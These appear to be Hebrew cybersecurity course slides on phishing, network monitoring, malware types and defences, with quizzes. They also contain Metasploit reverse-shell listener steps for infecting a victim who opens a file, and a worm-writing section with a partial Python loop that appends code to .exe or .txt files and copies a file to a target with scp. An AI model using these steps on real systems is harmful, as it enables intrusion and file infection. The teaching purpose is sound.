 - א. הימנעות מללחוץ על קישורים או לפתוח קבצים מצורפים ממיילים לא מוכרים.
 - ב. אימות זהות השולח דרך ערוצים אחרים לפני ביצוע פעולה כלשהי.
 - ג. דיווח על המייל החשוד לצוות האבטחה של הארגון.
 - ד. שימוש בכלי סינון מיילים המזהים מיילים חשודים ומעבירים אותם להסגר.
 - ה. חינוך והעלאת מודעות בקרב העובדים כדי שיהיו ניסיונות פשינג וידעו כיצד לפעול.

ננסה לנטר את התעבורה ברשת ולמפות דברים עוינים

- ננסה לנטר את התעבורה ברשת ולמפות דברים עוינים
- שלב 1: ניטור תעבורה רשת
- ניתן להשתמש בכלי כמו Wireshark או tcpdump כדי ללכוד ולנתח תעבורה רשת. (כמובן לפני זה לבדוק את היציאה שלנו על ידי ifconfig או ip a)

- `sudo tcpdump -i eth0 -w suspicious_traffic.pcap`
- הפקודה הזו תתחיל ללכוד תעבורה שנכנסת ויוצאת דרך ממשק `eth0` ותשמור אותה בקובץ `suspicious_traffic.pcap` שניתן לנתח לאחר מכן.
- שלב 2: ניתוח לוגים
- אפשר לנתח קבצי לוג כדי לזהות פעילויות חשודות. לדוגמה, באמצעות `Logwatch` או `Splunk` ניתן לסרוק לוגים של מערכות ולזהות דפוסים חריגים.
- `sudo cat /var/log/auth.log | grep "Failed"`
- הפקודה הזו תציג את כל הניסיונות הכושלים לכניסה למערכת שנרשמו בקובץ `auth.log`.
- שלב 3: סריקת שינויים במערכת קבצים
- באמצעות `AIDE` (Advanced Intrusion Detection Environment) אפשר לזהות שינויים בקבצים שיכולים להעיד על חדירה למערכת.
- `sudo aide --check`
- הפקודה הזו תבדוק את המערכת על פי המדדים שהוגדרו מראש ותדווח על שינויים חשודים.
- שלב 4: סריקת פורטים פתוחים
- כלי כמו `nmap` יכול לסייע בזיהוי פורטים פתוחים שלא אמורים להיות פעילים, או ניסיונות לסרוק את הרשת.
- `sudo nmap -sS -p- -T4 192.168.1.0/24`
- הפקודה הזו תסרוק את כל הפורטים ברשת המקומית ותדווח על פורטים פתוחים.
- שלב 5: זיהוי תוכנות זדוניות
- הערת בטיחות: הושמטו פרטי הדגמה התקפיים שעלולים לאפשר ביצוע תקיפה. העיקרון: תוקפים עשויים לנצל כלים/קוד כדי להשיג שליטה או להפיץ נזקות — ההגנה מתמקדת בזיהוי, הקשחה וניטור.
- `sudo chkrootkit`
- הפקודה הזו תבצע סריקה של המערכת כדי לבדוק אם קיימים `rootkits`

מהי תוכנה זדונית?

- מהי תוכנה זדונית?
- תוכנה זדונית `Malware` היא כל תוכנה שנועדה להזיק, לשבש או להשיג גישה לא מורשית למחשב או לרשת.
- המטרות של התוכנות הזדוניות יכולות להיות מגוונות, כגון גניבת מידע אישי, השבתת מערכות, או ניצול משאבים למטרות זדוניות אחרות.
- ונראה להלם שישנם מספר סוגים של תוכנות זדוניות:

סוגי תוכנות זדוניות

- סוגי תוכנות זדוניות
- 1. וירוסים: `Viruses`
- וירוס הוא סוג של תוכנה זדונית שמתחבר לתוכנה לגיטימית ומופעל יחד איתה. ברגע שהקובץ הנגוע מופעל, הווירוס יכול להדביק קבצים נוספים, לגרום נזק למערכת, או להפיץ את עצמו למחשבים אחרים.
- דוגמה: וירוס `Melissa` שנוצר ב-1999 התפשט דרך דואר אלקטרוני וגרם להאטת שרתים רבים בעולם.
- 2. תולעים: `Worms`
- תולעים הן תוכנות זדוניות שיכולות לשכפל את עצמן ולהתפשט לרשתות מחשבים ללא צורך בתוכנה מארחת. התולעים משתמשות ברשת כדי להפיץ את עצמן ולעיתים קרובות גורמות לקריסה של מערכות על ידי ניצול משאבים.
- דוגמה: תולעת `Code Red` מ-2001 הצליחה להדביק למעלה מ-359,000 מערכות בתוך פחות מ-14 שעות.
- המשך - סוגי תוכנות זדוניות
- 3. סוסים טרויאניים: `Trojans`
- סוס טרויאני הוא תוכנה שנראית כאילו היא לגיטימית, אבל ברגע שמורידים או מפעילים אותה, היא מאפשרת להאקרים גישה למחשב הנפגע. הסוס הטרויאני לא משכפל את עצמו כמו וירוסים ותולעים, אלא הוא משמש כ"טריק" כדי להכניס את התוקף למערכת.

- דוגמה: סוס טרויאני בשם Zeus שנעשה בו שימוש לגניבת נתוני בנקאות באינטרנט.
- 4. רוגלות Spyware:
- רוגלה היא תוכנה זדונית שמטרתה לרגל אחרי המשתמש, כלומר לאסוף מידע אישי כמו סיסמאות, הקשות מקלדת, היסטוריית גלישה ועוד, ללא ידיעת המשתמש.
- דוגמה: רוגלה בשם Keylogger שמקליטה כל הקשה במקלדת של המשתמש ומשדרת את המידע לתוקף.
- 5. כופרות Ransomware:
- כופרה היא סוג של תוכנה זדונית שמצפינה את קבצי המשתמש ודורשת כופר כדי לשחרר אותם. אם הכופר לא משולם, הקבצים נשארים נעולים ולא נגישים.
- דוגמה: מתקפת כופרה בשם WannaCry בשנת 2017 הצפינה קבצים במחשבים רבים בעולם ודרשה תשלום ביטקוין כדי לשחרר אותם.
- 6. Rootkits:
- Rootkits הם כלים זדוניים שמטרתם להסתיר את פעילותם במערכת ולתת לתוקף שליטה מלאה במחשב הנפגע. הם נכתבים בצורה שמקשה מאוד על גילויים.
- דוגמה: Rootkit בשם Stuxnet הצליח להסתיר את עצמו במערכות תעשייתיות ולגרום נזק פיזי לציוד.
- 7. Adware:
- Adware היא תוכנה שמציגה פרסומות בלתי רצויות במחשב של המשתמש, לעיתים קרובות תוך כדי איסוף מידע על הרגלי הגלישה שלו.
- דוגמה: תוכנה שמציגה פופ-אפים של פרסומות בכל פעם שהמשתמש פותח דפדפן.

איך מזהים ומונעים תוכנות זדוניות?

- איך מזהים ומונעים תוכנות זדוניות?
- 1. שימוש באנטי-וירוס: התקנת תוכנת אנטי-וירוס מעודכנת יכולה לסייע בזיהוי ובחסימת תוכנות זדוניות לפני שהן גורמות נזק.
- 2. עדכון מערכות ותוכנות: יש לשמור את מערכת ההפעלה והתוכנות מעודכנות כדי לסגור פרצות אבטחה.
- 3. הימנעות מהורדות ממקורות לא מוכרים: תמיד להוריד תוכנות רק מאתרים מוכרים ולוודא את האמינות שלהם.
- 4. שימוש בחומת אש: חומת אש יכולה לסייע במניעת גישה לא מורשית למחשב או לרשת.

שאלות - תוכנות זדוניות

- 1. מה ההבדל בין וירוס לתולעת?
- 2. איך פועל סוס טרויאני?
- 3. מהי כופרה וכיצד היא פועלת?
- 4. מדוע רוגלה נחשבת למסוכנת?
- 5. מהם הצעדים המומלצים להגנה מפני תוכנות זדוניות?

תשובות - תוכנות זדוניות

- 1. וירוס מחייב תוכנה מארחת כדי לפעול ולהתפשט, בעוד שתולעת יכולה לשכפל את עצמה ולהתפשט ללא צורך בתוכנה מארחת.
- 2. סוס טרויאני מתחזה לתוכנה לגיטימית, וברגע שהוא מופעל, הוא מאפשר לתוקף גישה למערכת הנפגעת.
- 3. כופרה היא תוכנה זדונית שמצפינה את קבצי המשתמש ודורשת כופר כדי לשחרר אותם. היא מתפשטת לרוב דרך קבצים מצורפים לדוא"ל או הורדות לא חוקיות.
- 4. רוגלה מסוכנת כיוון שהיא אוספת מידע אישי רגיש כמו סיסמאות והיסטוריית גלישה ומשדרת אותם לתוקף ללא ידיעת המשתמש.
- 5. שימוש באנטי-וירוס, עדכון תוכנות, הימנעות מהורדות ממקורות לא מוכרים, ושימוש בחומת אש.

דוגמא בקוד

- דוגמא בקוד:
- הערת בטיחות: הושמטו פרטי הדגמה התקפיים שעלולים לאפשר ביצוע תקיפה. העיקרון: תוקפים עשויים לנצל כלים/קוד כדי להשיג שליטה או להפיץ נזקות — ההגנה מתמקדת בזיהוי, הקשחה וניטור.
- לאחר שיצרנו את הקובץ הזדוני, עלינו להגדיר מאזין שיקלוט את החיבור מהמחשב הנפגע.
- msfconsole
- השתמש במודול multi/handler כדי להאזין לחיבור:
- הגדר את הפיילוד "אותי" כך שיתאים למה שיצרת קודם:
- <set LHOST <Your IP
- set LPORT 4444
- התחל את ההאזנה
- Run
- את הקובץ הזה ניתן להעביר לאיזשהו מחשב, אחר שהוא יפתח את הקובץ אנו נפרוץ לו למחשב

הקדמה

- הקדמה
- מהו וירוס: וירוס הוא סוג של תוכנה זדונית malware שנועדה לגרום נזק, לגנוב מידע, או לבצע פעולות זדוניות אחרות על מחשב או מערכת מחשבים. הוירוס עצמו הוא קוד תוכנה שמחובר לתוכנה אחרת, ובדרך כלל מפיץ את עצמו ממחשב אחד לאחר על ידי "הדבקה" של קבצים אחרים.
- איך וירוס עובד? וירוס מתפשט על ידי הצמדת עצמו לקובץ שניתן להריץ, כמו קובץ תוכנה, מסמך, או קובץ מערכת.
- דוגמה לוירוס: אחת הדוגמאות המפורסמות ביותר לוירוס היא וירוס ILOVEYOU הוירוס הזה התפשט בשנת 2000 דרך אימיילים שנשאו את הכותרת ILOVEYOU והכילו קובץ מצורף שנראה תמים. כאשר הנמען פתח את הקובץ, הוירוס התחיל לשכפל את עצמו ולשלוח את אותו האימייל לכל אנשי הקשר של המשתמש, תוך גרימת נזק רב למחשבים ברחבי העולם.
- סוס טרויאני Trojan Horse הוא אחד המונחים המרכזיים באבטחת מידע. המושג "סוס טרויאני" נלקח מהמיתולוגיה היוונית, בה הטרואיאנים הכניסו לעירם סוס עץ ענק מבלי לדעת שבתוכו חבויים לוחמים יוונים.

סוגי וירוסים נפוצים

- סוגי וירוסים נפוצים:
- 1. וירוס Boot Sector וירוס שתוקף את ה-MBR (Master Boot Record) של הכונן הקשיח או של הדיסקט, והוא נטען עם הפעלת המחשב.
- 2. וירוס קבצים - וירוס שתוקף קבצים מסוימים, בדרך כלל קבצי exe או com ומדביק אותם כאשר הם מופעלים.
- 3. וירוס Macro : וירוס שתוקף קבצים שמכילים סקריפטים או פקודות מאקרו, כמו קבצי Word או Excel

איך מתגוננים מפני וירוסים?

- איך מתגוננים מפני וירוסים?
- 1. התקנת תוכנת אנטי-וירוס - תוכנת אנטי-וירוס היא כלי שמזהה ומסיר וירוסים ממחשב, והיא מעודכנת על בסיס קבוע כדי לזהות איומים חדשים.
- 2. הימנעות מפתיחת קבצים מצורפים חשודים באימיילים - חשוב להימנע מפתיחת קבצים מצורפים מאנשים שאינכם מכירים או מאימיילים שנראים חשודים.
- 3. גיבוי קבוע של הנתונים - במקרה של התקפה, גיבוי קבוע של הנתונים מאפשר לשחזר את הקבצים המקוריים ללא חשש.

שאלות - וירוס

- 1. מהי המטרה העיקרית של וירוס מחשב?
- 2. כיצד וירוס יכול להדביק קבצים אחרים במחשב?
- 3. איך וירוסים מנצלים פרצות אבטחה במערכות הפעלה?
- 4. מהו "וירוס זמן" Time Bomb Virus וכיצד הוא פועל?
- 5. מהן הדרכים הבסיסיות להגן על מחשב מפני וירוסים?

תשובות - וירוס

- 1. המטרה העיקרית של וירוס מחשב היא לשבש את פעילות המחשב, לגנוב מידע רגיש, או להפיץ את עצמו למחשבים אחרים. הווירוס מופעל כאשר תוכנה נגועה מופעלת או כאשר מערכת ההפעלה נפרצת. וירוסים יכולים לגרום לנזק כמו השחתת קבצים, גניבת מידע, או השבתת מערכות.
- 2. וירוס נצמד לקבצים או תוכנות לגיטימיים, ולאחר שהקובץ הנגוע מופעל, הווירוס מתפשט לקבצים נוספים. הוא עושה זאת על ידי שיבוש הקוד בקובץ הקיים או באמצעות יצירת עותקים של עצמו. כך, הווירוס יכול להדביק חלקים נוספים במערכת.
- 3. וירוסים מנצלים חולשות במערכות הפעלה, כמו פגיעויות בקוד או בתוכנות לא מעודכנות. הם יכולים להיכנס דרך פרצות אלו, ואז להשתלט על המערכת או להפיץ את עצמם. זו הסיבה שמומלץ לעדכן באופן קבוע את התוכנות במחשב.
- 4. "וירוס זמן" מתוכנת להתפשט ולהתחיל לפעול בנקודת זמן מסוימת. הוא נשאר במערכת בלי לגרום נזק עד שמגיע התאריך או התנאי שהוגדר מראש. לאחר מכן, הווירוס מופעל ויכול לגרום לנזק, כמו השחתת קבצים או השבתת המערכת.
- 5. כדי להגן על מחשב מפני וירוסים יש להשתמש בתוכנת אנטי-ווירוס מעודכנת, להימנע מהורדת קבצים ממקורות לא אמינים, ולא לפתוח קבצים מצורפים חשודים באימיילים. כמו כן, חשוב לעדכן את מערכת ההפעלה והתוכנות בקביעות.

תולעים Worms באבטחת מידע

- תולעים Worms באבטחת מידע
- מה זו תולעת?
- תולעת Worm היא סוג של תוכנה זדונית שמפיצה את עצמה במערכות מחשב או רשתות בלי צורך בהתערבות המשתמש. בניגוד לוורוסים, תולעים אינן זקוקות לקובץ מארח כדי להתפשט – הן פשוט מנצלות פגיעויות במערכות כדי להתפשט עצמאית.

תולעים Worms

- תולעים Worms
- איך תולעת פועלת?
- 1. זיהוי פגיעות: תולעת מחפשת פגיעויות או חולשות במערכת היעד. היא עשויה לנצל פרצות בתוכנות או בהגדרות רשת.
- 2. התפשטות: לאחר שהפגיעות זוהתה, התולעת מעתיקה את עצמה למערכת היעד. זה יכול להיות דרך רשתות תקשורת, דוא"ל, או אמצעים אחרים.
- 3. הפצת חיקויים: התולעת מחפשת מערכות נוספות להתפשט אליהן באותו אופן.
- 4. ביצוע משימות נוספות: פעמים רבות תולעים מבצעות פעולות נוספות כמו גניבת נתונים, התקנת רוגלות, או התקנת תוכנות זדוניות נוספות.

כיצד תולעים מתפשטות

- כיצד תולעים מתפשטות

- תולעים יכולות להתפשט בכמה דרכים, ולרוב הן מנצלות פגיעויות או חולשות במערכות המחשב:
- 1. דוא"ל: תולעים יכולות להתפשט דרך דוא"ל עם קבצים מצורפים זדוניים או קישורים שמפנים לאתרים זדוניים.
- 2. רשתות: תולעים יכולות לנצל פגיעויות בפרוטוקולים כמו SSH (Secure SMB (Server Message Block Shell) כדי לגשת למערכות אחרות ברשת.
- 3. אינטרנט: תולעים יכולות לנצל חולשות באתרים או ביישומים אינטרנטיים כדי להדביק מחשבים חדשים.
- 4. אמצעי אחסון ניידים: תולעים יכולות להעתיק את עצמן לאמצעי אחסון ניידים כמו דיסק-און-קי ולהתפשט כאשר הם מחוברים למחשב אחר.

סוגי תולעים

- סוגי תולעים
- תולעים שדורשות פעולה של המשתמש:
- תולעים שמפיצות את עצמן דרך קישורים או קבצים: כמו התולעת ILOVEYOU שדורשת מהמשתמש לפתוח קובץ מצורף.
- תולעים אוטומטיות:
- תולעים שמשתמשות בפגיעויות אוטומטיות: כמו התולעת Blaster שהתפשטה על ידי ניצול פגיעות ב-Windows.

כיצד לזהות תולעת

- כיצד לזהות תולעת
- סימנים אפשריים:
- 1. ביצועים נמוכים: אם המחשב מתחיל לפעול לאט בצורה לא רגילה.
- 2. תעבורה רשת גבוהה: אם יש שימוש גבוה ולא רגיל ברוחב הפס.
- 3. שינויים בלתי צפויים בקבצים: אם יש שינויים בקבצים או בתיקיות מבלי שהתבצעה פעולה ידנית.
- 4. שגיאות תוכנה: הופעת שגיאות או התרעות לא רגילות בתוכנה או במערכת ההפעלה.
- כלים לזיהוי
- אנליזות רשת: כלי כמו Wireshark יכול לסייע בניית תעבורת הרשת ולזהות פעילות חשודה.
- תוכנות אנטי-וירוס: כלים כמו ClamAV או פתרונות מסחריים יכולים לסייע בהגנה ובזיהוי תולעים.

התמודדות עם תולעים

- התמודדות עם תולעים
- פעולות למניעת התפשטות:
- 1. עדכונים שוטפים: ודא שכל התוכנות והמערכות מעודכנות כדי לתקן פגיעויות.
- 2. חומת אש: השתמש בחומת אש כדי למנוע גישה לא מורשית.
- 3. בקרת גישה: הגבל את הגישה למערכות ויישומים רגישים.
- הסרת תולעים:
- 1. סריקות: השתמש בכלים מתקדמים לסריקת המחשב ולאיתור תולעים.
- 2. שחזור מערכת: ייתכן שיהיה צורך לשחזר את המערכת מ-Backup לא נקי מתולעים.

הגנה מפני תולעים

- הגנה מפני תולעים
- יש כמה צעדים שניתן לנקוט כדי להגן על מערכות מפני תולעים:
- עדכוני אבטחה: הקפדה על עדכון מערכות הפעלה ותוכנות בעדכוני האבטחה האחרונים היא קריטית כדי למנוע תולעים שמנצלות חולשות מוכרות.
- חומות אש: Firewall חומות אש יכולות לחסום תעבורה חשודה ולמנוע מהתולעת לגשת לרשת או למחשבים אחרים.

- אנטי-וירוס: שימוש בתוכנות אנטי-וירוס ואנטי-תולעים יכול לעזור בזיהוי וחסימת תולעים לפני שהן מצליחות להתפשט.
- חינוך והכשרה: משתמשים צריכים להיות מודעים לסכנות של תולעים וללמוד איך להימנע מלהוריד ולהריץ קבצים חשודים או ללחוץ על קישורים זדוניים.
- שימוש בכלי ניטור: כלים כמו IDS/IPS יכולים לזהות דפוסי תעבורה חשודים שמעידים על נוכחות תולעת ברשת.

פרקטיקות לכתיבת תולעת

- פרקטיקות לכתיבת תולעת
- גנרליות
- 1. אחריות: תתנסה בכתיבת תולעת רק בסביבות מבוקרות לצורכי למידה והבנה.
- 2. תכנון: תכנן את התולעת כך שתהיה מסוגלת לבצע את מטרותיה מבלי לפגוע במערכות או נתונים חשובים.
- 3. מניעת גישה לא מורשית: הימנע מלפגוע במערכות שלא נועדו למטרות ניסוי.
- כתובת ה-IP של היעד
- "TARGET_IP="192.168.1.100"
- קובץ שיש לשלוח
- הערת בטיחות: הושמטו פרטי הדגמה התקפיים שעלולים לאפשר ביצוע תקיפה. העיקרון: תוקפים עשויים לנצל כלים/קוד כדי להשיג שליטה או להפיץ נזקות — ההגנה מתמקדת בזיהוי, הקשחה וניטור.
- יצירת חיבור והעברת הקובץ
- /scp \$FILE_TO_SEND user@\$TARGET_IP:/tmp
- הרצת הקובץ ביעד

שלבים בסיסיים ביצירת תולעת

- שלבים בסיסיים ביצירת תולעת
- זיהוי קבצים רלוונטיים להפצה:
- על התולעת לזהות קבצים או תיקיות שבהם היא תשתכפל. בדרך כלל מדובר בקבצים הפופולריים כמו קבצי מערכת או קבצי תוכנות.
- דוגמה לפונקציה:
- import os
- הערת בטיחות: הושמטו פרטי הדגמה התקפיים שעלולים לאפשר ביצוע תקיפה. העיקרון: תוקפים עשויים לנצל כלים/קוד כדי להשיג שליטה או להפיץ נזקות — ההגנה מתמקדת בזיהוי, הקשחה וניטור.
- [] = files_to_infect
- :for dirpath, dirnames, filenames in os.walk(start_path)
- :for file in filenames
- if file.endswith(".exe"): # Example: Looking for EXE files
- files_to_infect.append(os.path.join(dirpath, file))
- return files_to_infect
- המשך - שלבים בסיסיים ביצירת תולעת
- הסבר:
- הספריה import os נותנת אפשרות לעבוד עם מערכת ההפעלה
- [] = files_to_infect : הרשימה הזו תשמור את כל הנתבים של הקבצים שמצאנו ושברצוננו להדביק.
- :for dirpath, dirnames, filenames in os.walk(start_path) הפקודה הזו היא לולאה שמשתמשת בפונקציה
- os.walk הפונקציה הזו עוברת על כל הספריות והתיקיות שמתחילות מהנתיב ההתחלתי start_path ומחזירה שלושה דברים:
- 1. dirpath: הנתיב של הספרייה הנוכחית.
- 2. dirnames: רשימה של כל הספריות שנמצאות בתוך dirpath
- 3. filenames: רשימה של כל הקבצים שנמצאים בתוך dirpath

- המשך הסבר:
- `for file in filenames:` בתוך כל ספרייה שהולאה הקודמת מצאה, הולאה הזו עוברת על כל הקבצים שמופיעים ברשימת `filenames`
- `if file.endswith(".exe"):` כאן אנחנו בודקים אם השם של כל קובץ מסתיים ב-".exe". "כלומר אם מדובר בקובץ הרצה `Executable file` במקרה הזה, אנחנו מחפשים קבצי EXE אבל אפשר לחפש כל סיומת אחרת, כמו .txt, .docx וכו'.
- `files_to_infect.append(os.path.join(dirpath, file))`: אם הקובץ הוא קובץ EXE, אנחנו יוצרים את התיב המלא של הקובץ באמצעות `os.path.join(dirpath, file)` ומוסיפים אותו לרשימת `files_to_infect`
- `return files_to_infect`: בסוף הפונקציה, אנחנו מחזירים את הרשימה `files_to_infect` שכוללת את כל התיבים של קבצי ה-EXE שמצאנו.
- עכשיו, לאחר שמיפינו את כל קבצי ה-EXE. נרצה לעבוד עליהם עם התולעת:
- נתון הקוד הבא:
- `for file in files_to_infect:`
- `with open(file, "a") as f:`
- `f.write(worm_code)`
- `2. worm_code`: זהו הקוד הזדוני (התולעת) שנרצה להוסיף לכל אחד מהקבצים שנמצאים ברשימה.
- `for file in files_to_infect:` הפקודה הזו יוצרת לולאה שעוברת על כל קובץ שנמצא ברשימת `files_to_infect`
- `with open(file, "a") as f:` כאן אנחנו פותחים כל קובץ בלולאה במצב של `append` הוספה. מצב "a" מאפשר לנו לפתוח את הקובץ ולהוסיף תוכן חדש בסופו, מבלי למחוק את התוכן הקיים.
- `f.write(worm_code)`: הפקודה הזו כותבת את הקוד הזדוני `worm_code` בסופו של הקובץ שנפתח. זה למעשה הפעולה שמבצעת את ההדבקה של הקובץ בקוד התולעת.

שלבים בסיסיים ליצירת תולעת (הלכה למעשה)

- המשך – שלבים בסיסיים ליצירת תולעת (הלכה למעשה)
- לקחנו את אותו הקוד שבנינו מקודם רק שנשנה במקום שנחפש קבצי .exe אנו נחפש קבצי .txt את הקוד הנ"ל אנו נקודד בלינוקס ע"י הפקודה הבאה:
- ונוסיף לו:
- קוד התולעת שיתווסף לקבצים
- `worm_code = "\n# This is a worm!\nprint('You have been infected!')\n"`
- # חיפוש קבצים להדבקה
- `start_path = "/home/kali/Documents"`
- הערת בטיחות: הושמטו פרטי הדגמה התקפיים שעלולים לאפשר ביצוע תקיפה. העיקרון: תוקפים עשויים לנצל כלים/קוד כדי להשיג שליטה או להפיץ נזקות — ההגנה מתמקדת בזיהוי, הקשחה וניטור.
- # הדבקת הקבצים שנמצאו
- `print(f'Infected {len(files_to_infect)} files.')`
- אח"כ נפתח את הטרמינל
- `nano /home/kali/Documents/worm.py`
- ושם נכתוב את הקוד הנ"ל.
- לאחר מכן אנו ניצור קובץ חדש:
- `echo "This is a worm!" > /home/kali/Documents/test_file.txt`
- ועכשיו נריץ את הקוד שכתבנו ע"י הפקודה הבאה:
- `python3 /home/kali/Documents/worm.py`
- ואז נבדוק את הקובץ שלנו ע"י הפקודה:
- `cat /home/kali/Documents/test_file.txt`
- ונקבל פלט במידה והתולעת בפנים והוא:
- `"This is a test file"`
- `!This is a worm"`

• 'You have been infected'

מה זה תוכנת ריגול?

- מה זה תוכנת ריגול?
- תוכנת ריגול היא תוכנה שמותקנת במחשב או במכשיר אחר במטרה לאסוף מידע אישי או עסקי מבלי שיתקבל אישור מהמשתמש. זה כולל מידע כמו מכתבי דוא"ל, פרטי כרטיסי אשראי, מיקומים גיאוגרפיים, והיסטוריית גלישה באינטרנט.

כיצד פועלות תוכנות ריגול

- כיצד פועלות תוכנות ריגול
- 1. התקנה סמויה: תוכנות ריגול לרוב מתקינות את עצמן בצורה חמקנית, לעיתים דרך קבצים מצורפים לדוא"ל, תוכנות חנימיות, או אתרים לא בטוחים.
- 2. אסיפת מידע: לאחר ההתקנה, התוכנה אוספת מידע מהמשתמש, כגון הקשות מקלדת, מסמכים, או נתוני גלישה.
- 3. שידור מידע: המידע שנאסף נשלח לשרתים שמנוהלים על ידי התוקף, לעיתים באמצעות חיבורי אינטרנט מוצפנים או פתוחים.

סוגים של תוכנות ריגול

- סוגים של תוכנות ריגול
- 1. Keyloggers: תוכנות שמנטרות ומקליטות את הקשות המקלדת של המשתמש, כולל סיסמאות ומידע רגיש אחר.
- 2. Data Stealers: תוכנות שגנבות פרטי מידע כגון פרטי כרטיסי אשראי, מכתבי דוא"ל, וסיסמאות.
- 3. Adware: תוכנות שמציפות את המשתמש בפרסומות מטרידות או לא רצויות, שיכולות גם לגרום לבעיות פרטיות.

כיצד תוכנות ריגול נבדלות מתוכנות זדוניות אחרות

- כיצד תוכנות ריגול נבדלות מתוכנות זדוניות אחרות
- 1. הבדלים מהווירוסים: בעוד שווירוסים לרוב מתפשטים ממחשב למחשב וגורמים להרס, תוכנות ריגול נוטות להתרכז באיסוף מידע מבלי להפריע לפעולה השוטפת של המחשב.
- 2. הבדלים מהתוכנות הזדוניות האחרות: תוכנות ריגול ממוקדות בעיקר באיסוף מידע אישי, בעוד שתוכנות כופר, לדוגמה, נועדות לחסום גישה למידע עד לשחרור כופר.

אמצעי הגנה מפני תוכנות ריגול

- אמצעי הגנה מפני תוכנות ריגול
- 1. תוכנות אנטי-וירוס ואנטי-ריגול: שימוש בתוכנות אבטחה מעודכנות שמיועדות לזהות ולהסיר תוכנות ריגול.
- 2. עדכוני מערכת: שמירה על מערכת ההפעלה והיישומים מעודכנים כדי למנוע ניצול של פרצות אבטחה.
- 3. הימנעות מהורדות לא בטוחות: הימנעות מהורדת תוכנות ממקורות לא מהימנים והימנעות מהקליקים על קישורים או קבצים מצורפים לא מוכרים.

חוקיות ורגולציה

- חוקיות ורגולציה
- חוקיות: במדינות רבות, התקנה או שימוש בתוכנות ריגול ללא הסכמת המשתמש נחשב לא חוקי. חוקים כמו ה-GDPR באירופה ו-CAN-SPAM בארצות הברית מתייבים הגבלות מחמירות על איסוף ושימוש במידע אישי.
- רגולציה: חברות רבות נדרשות לעמוד בתקן ובתקנות אבטחה כדי להגן על המידע האישי של לקוחותיהם. תקנות אלו כוללות דרישות לגבי כיצד לאסוף, לאחסן ולשמור על מידע רגיש.

תסריטי התקפה

- תסריטי התקפה
- מתקפות על עסקים: תוקפים יכולים להשתמש בתוכנות ריגול כדי לגנוב מידע עסקי רגיש, כגון רשימות לקוחות, דוחות פיננסיים, ותכניות עסקיות.
- מתקפות על פרטים: תוקפים יכולים לנסות לגנוב מידע אישי כגון סיסמאות, פרטי כרטיסי אשראי, ומידע רפואי, על מנת לבצע הונאות או גניבה פיננסית.

ניסוי בתוכנת ריגול

- ניסוי בתוכנת ריגול
- הערת בטיחות: הושטו פרטי הדגמה התקפיים שעלולים לאפשר ביצוע תקיפה. העיקרון: תוקפים עשויים לנצל כלים/קוד כדי להשיג שליטה או להפיץ נזקות — ההגנה מתמקדת בזיהוי, הקשחה וניטור.
- msfconsole
- <set LHOST <My ip
- set LPORT 4444
- Exploit
- לאחר מכן ניצור קובץ זדוני, ונשלח אותו למחשב היעד וברג שיפתח את הקובץ אנו נקבל גישה לנתונים של היעד.

איך עובד סוס טרויאני?

- איך עובד סוס טרויאני?
- כאשר משתמש מוריד ומפעיל סוס טרויאני, הוא בדרך כלל חושב שמדובר בתוכנה רגילה כמו משחק, כלי עזר, או עדכון למערכת. אך מאחורי הקלעים, סוס הטרויאני מבצע פעולות זדוניות כגון:
- 1. גניבת מידע: סוס טרויאני יכול לאסוף מידע אישי, כגון סיסמאות, מספרי כרטיסי אשראי, או מסמכים רגישים, ולשלוח אותם לתוקף.
- 2. גישה מרחוק: התוקף יכול להשתמש בסוס הטרויאני כדי לקבל גישה למחשב הנגוע ולהשתמש בו לשלל מטרות זדוניות, כגון שליטה במחשב כדי לתקוף מחשבים אחרים.
- 3. התקנה של תוכנות זדוניות נוספות: סוס הטרויאני יכול להוריד ולהתקין על המחשב הנגוע תוכנות זדוניות נוספות כמו תוכנות כופר Ransomware או תוכנות ריגול Spyware

דוגמאות לסוסי טרויאני

- דוגמאות לסוסי טרויאני:
- 1. Remote Access Trojan (RAT) סוס טרויאני המאפשר לתוקף שליטה מרחוק במחשב הנגוע. לדוגמה, סוס טרויאני בשם DarkComet מאפשר לתוקף לשלוט במחשב הקורבן, לצלם צילומי מסך, לגשת לקבצים ולבצע פעולות נוספות.
- 2. Banking Trojan: סוס טרויאני המתמקד בגניבת פרטי בנקאות. לדוגמה, סוס הטרויאני Zeus מתמקד בגניבת פרטי התחברות לחשבונות בנק מקוונים.
- 3. Downloader Trojan: סוס טרויאני שתפקידו להוריד תוכנות זדוניות נוספות למחשב הנגוע. לדוגמה, סוס הטרויאני Emotet התחיל כסוס טרויאני להורדת תוכנות זדוניות אך עם הזמן הפך לתוכנה זדונית מתקדמת בפני עצמה.

מניעה והתמודדות עם סוס טרויאני

- מניעה והתמודדות עם סוס טרויאני:
- 1. אנטי-וירוס: שימוש בתוכנת אנטי-וירוס אמينة שמבצעת סריקות באופן קבוע יכולה לעזור בזיהוי ובחסימת סוסי טרויאני.

- 2. זהירות בהורדות: הימנע מהורדת קבצים ממקורות לא אמינים או לא רשמיים. תוכנות זדוניות רבות מסתתרות באתרים פחות מהימנים.
- 3. הגנה על המערכת: שמירה על מערכת ההפעלה והתוכנות מעודכנות עם תיקוני אבטחה עדכניים תעזור בהקטנת הסיכוי להדבקה.
- 4. חינוך והעלאת מודעות: הבנת הסכנות והקפדה על כללי הזהירות תקטין את הסיכוי להיפגע מסוס טרויאני.

שאלות

- 1. מה ההבדל בין סוס טרויאני לתולעת?
- 2. איך אפשר להבחין בין סוס טרויאני לתוכנה אמיתית?
- 3. מהן הדרכים העיקריות בהן סוס טרויאני יכול להגיע למחשב שלך?
- 1. מהם הסימנים העיקריים שמעידים על כך שמחשב עלול להיות נגוע ברוגלה?
- 2. הסבר את ההבדל בין זיהוי מבוסס חתימות לזיהוי מבוסס התנהגות בהקשר של רוגלות. מהם היתרונות והחסרונות של כל שיטה?
- 3. אילו אמצעים ניתן לנקוט כדי להתגונן מפני רוגלות על גבי מכשירים ניידים?
- 4. מדוע שימוש ב-Sandbox להרצת תוכנות חשודות עשוי להיות יעיל בזיהוי רוגלות? מהם המגבלות של שיטה זו?
- 1. מה ההבדל בין תוכנת כופר לתוכנה זדונית רגילה?
- 2. כיצד תוכל להקטין את הסיכון להידבק בתוכנת כופר?
- 3. האם לדעתך כדאי לשלם את הכופר במקרה של התקפה? למה כן או לא?
- 1. מה ההבדל בין רשת בוטים לבין תוכנה זדונית רגילה?
- 2. מהן השיטות הנפוצות להידבקות ברשת בוטים?
- 3. כיצד ניתן להקטין את הסיכון שהמחשב שלך יהפוך לבוט ברשת בוטים?
- 4. מהו שימוש נפוץ ברשת בוטים, וכיצד הוא מבוצע?
